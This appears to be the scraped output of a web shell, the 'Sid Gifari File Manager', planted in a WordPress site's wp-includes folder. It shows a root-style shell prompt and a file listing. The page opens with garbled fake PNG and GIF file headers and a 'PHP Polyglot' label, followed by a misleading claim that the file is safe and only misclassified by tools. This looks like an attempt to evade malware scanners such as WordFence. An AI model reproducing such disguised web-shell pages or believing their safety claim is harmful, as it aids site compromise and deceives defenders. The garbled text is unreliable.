$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-04-07

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / weigepor / www / wp-includes / sodium_compat / namespaced / Core /
root@Sid-Gifari:/home/weigepor/www/wp-includes/sodium_compat/namespaced/Core$


NameSizePermAction
📄 BLAKE2b.php 98 bytes
📁 ChaCha20 -
📄 ChaCha20.php 100 bytes
📁 Curve25519 -
📄 Curve25519.php 104 bytes
📄 Ed25519.php 98 bytes
📄 HChaCha20.php 102 bytes
📄 HSalsa20.php 100 bytes
📁 Poly1305 -
📄 Poly1305.php 100 bytes
📄 Salsa20.php 98 bytes
📄 SipHash.php 98 bytes
📄 Util.php 92 bytes
📄 X25519.php 96 bytes
📄 XChaCha20.php 102 bytes
📄 Xsalsa20.php 100 bytes